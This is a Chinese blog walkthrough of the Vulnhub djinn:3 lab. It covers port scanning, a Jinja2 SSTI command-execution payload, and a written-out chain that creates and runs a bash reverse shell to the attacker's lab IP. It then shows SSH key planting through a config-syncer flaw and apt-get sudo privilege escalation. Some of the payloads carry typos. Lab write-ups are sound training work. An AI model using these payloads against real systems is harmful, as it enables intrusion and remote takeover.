Vulnhub:djinn:3

一、前言

通过大量vulnhub受控靶机积累一线攻防经验和技巧。

二、环境

靶机名称:djinn:3

靶机难度:中级

目标:有1个flag——/root/proof.sh

攻击机:kali linux,IP地址192.168.100.9

靶机:os-bytesec,IP地址192.168.100.36

三、挑战过程

图一

1.扫描IP提供的IT服务——

nmap -v -A -sV -T4 -p 1-65535 192.168.100.36

图二

2.web服务-80端口探索和目录爆破

图三

3.探索web服务-5000端口

{{6*6}}

{{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('ls -la').read()}}

4.创建反弹shell并监听

利用SSTI漏洞反弹shell

图四
图五
图六

通过极其痛苦的尝试探索,终于反弹shell成功了,哭死。

核心:

A——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('echo "#!/bin/bash\nbash -i >&dev/tcp/192.168.100.9/6666 0>&1" > ./b.sh').read()}}

B——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('chmod 777 b.sh').read()}}

C——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('./b.sh').read()}}

图七
图八

或者nc监听反弹shell

图九
图十

5.探索权限提升

发现两个 pyc 文件——

.py与.pyc文件区别

原来Python的程序中,是把原始程序代码放在.py文件里,而Python会在执行.py文件的时候。将.py形式的程序编译成中间式文件(byte-compiled)的.pyc文件,这么做的目的就是为了加快下次执行文件的速度。

所以,在我们运行python文件的时候,就会自动首先查看是否具有.pyc文件,如果有的话,而且.py文件的修改时间和.pyc的修改时间一样,就会读取.pyc文件,否则,Python就会读原来的.py文件。

其实并不是所有的.py文件在与运行的时候都会产生.pyc文件,只有在import相应的.py文件的时候,才会生成相应的.pyc文件.

渗透测试过程有文件考虑反编译——

1.为了保护文件的完整性,我们拷贝其十六进制的数据,如何得到十六进制数据?使用 xxd 命令:

需要copy内容的机器——xxd .configuration.cpython-38.pyc

需要将内容在自己服务器反编译——vim configuration.pyc(Ctrl+Shift+V 粘贴上去,wq 保存退出)

2.将其用 xxd 命令转化为二进制格式:

xxd -r configure.pyc >> configure1.pyc

3.uncompyle6 反编译,没有的使用 pip3 install uncompyle6 下载:

uncompyle6 configure1.pyc >> configure.py

4.uncompyle6只支持python2.8-3.8问题解决:

我的python是3.9.8

vim /usr/local/lib/python3.9/dist-packages/xdis/magics.py

在add_canonic_versions里添加3.9.8保存退出即可解决不支持导致不可用问题

图十一
图十二
图十三
图十四

阅读一下源代码,在 syncer.py 文件中有 main 入口,我们从这里开始:可以看到提供了三种连接服务,分别为 FTP , SSH 和 URL。

我们再打开 configure.py 可以看到,syncer.py 文件中调用了 configure.py 的两个方法,让我们继续看 configure.py 中的方法。syncer.py 首先调用了 set_config_path() 方法,从命名上我们也可以得出这是设置配置路径的意思。

glob 方法是 glob 模块中的,它的功能相当于 windows 中的磁盘搜索文件,返回的元素是一个列表,从这里我们可以得出这里是得到 /home/saint 下的所有 json 文件[注意这个 saint ],以及得到 /tmp/ 目录下的所有 json 文件,然后把它俩合并成一个列表,并命名为 files。

继续往下看:

如果 files 的长度大于 2,这里就设置 files 前两个路径,后面的就是获取最后的文件名,然后比较得到的/home/saint/ 目录下的 json 文件名中的时间,和 /tmp/ 目录下的 json 文件名中的时间,如果 /tmp 目录下的时间比较早,就返回 /home下的,如果不是就返回 /tmp 下的。

到这里我们就大概知道做什么了,我们可以在 /tmp 创建一个命名格式为:dd-mm-yyyy.config.json 的文件,内容为:

[因为这里的 shell 不好创建文件,所以我们可以在 kali 先生成改 json 文件,然后使用 wget 命令下载该文件即可]

图十五

通过上述的 json 我们就可以把在 kali 生成的公钥传输到目标服务器上的 .ssh 目录中,即可实现免密登录,首先我们得生成公钥。

SSH免密登录(参考链接:)——

1.客户端生成公私钥

本地客户端生成公私钥:(一路回车默认即可)

ssh-keygen

上面这个命令会在用户目录.ssh文件夹下创建公私钥

cd ~/.ssh

ls

下创建两个密钥:

id_rsa (私钥)

id_rsa.pub (公钥)

2.上传id_rsa.pub (公钥)到服务器~/.ssh目录,存储文件名为authorized_keys

3.测试免密登录

ssh saint@192.168.100.36

图十六

sudo -l查看是否可以进行越权,查看/etc/sudoers探索越权

有了这个跟 root 同一组的用户,就可以读到一些只能root组和root读的文件:/etc/sudoers,该文件包含了能够让普通用户执行一些或者全部的root命令,如果该文件可以写入的话,我们可以把当前用户写入:r00t ALL=(ALL:ALL) ALL,这样当执行sudo su的时候,我们就可以进入到 root 了!但现在只有读权限,查看一波,可以发现有一个名为jason的用户可以以 root 身份执行 apt-get 命令,该用户不在/etc/passwd,我们可以通过创建这个用户来得到他的特权操作进行进一步越权。

图十七
图十八

apt-get 命令提权


图十九
图二十
图二十

四、总结

风险点:

1.SSTI

2.31337提供的IT服务存在弱口令

3.configure.py和syncer.py应该做混淆,避免反编译查看源码功能,同时其代码设计未很好考虑安全性和权限收缩

4.sudo权限配置滥用

五、疑问点

1.【high】configure.py和syncer.py代码逻辑基本读懂,但是不是包含所有细节性对接全部弄懂!!!

2.【high】SSTI漏洞不算彻底搞懂,需要找时间细细钻研!

3.【high】apt-get提权逻辑知道怎么操作,但是有点懵!

参考链接

1.【思路】https://www.freesion.com/article/80361034498/

2.【SSTI】https://www.cnblogs.com/bmjoker/p/13508538.html

3.【ssh免密】https://blog.csdn.net/jeikerxiao/article/details/84105529

4.【apt-get提权】https://gtfobins.github.io/

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,509评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,806评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,875评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,441评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,488评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,365评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,190评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,062评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,500评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,706评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,834评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,559评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,167评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,779评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,912评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,958评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,779评论 2 354

推荐阅读更多精彩内容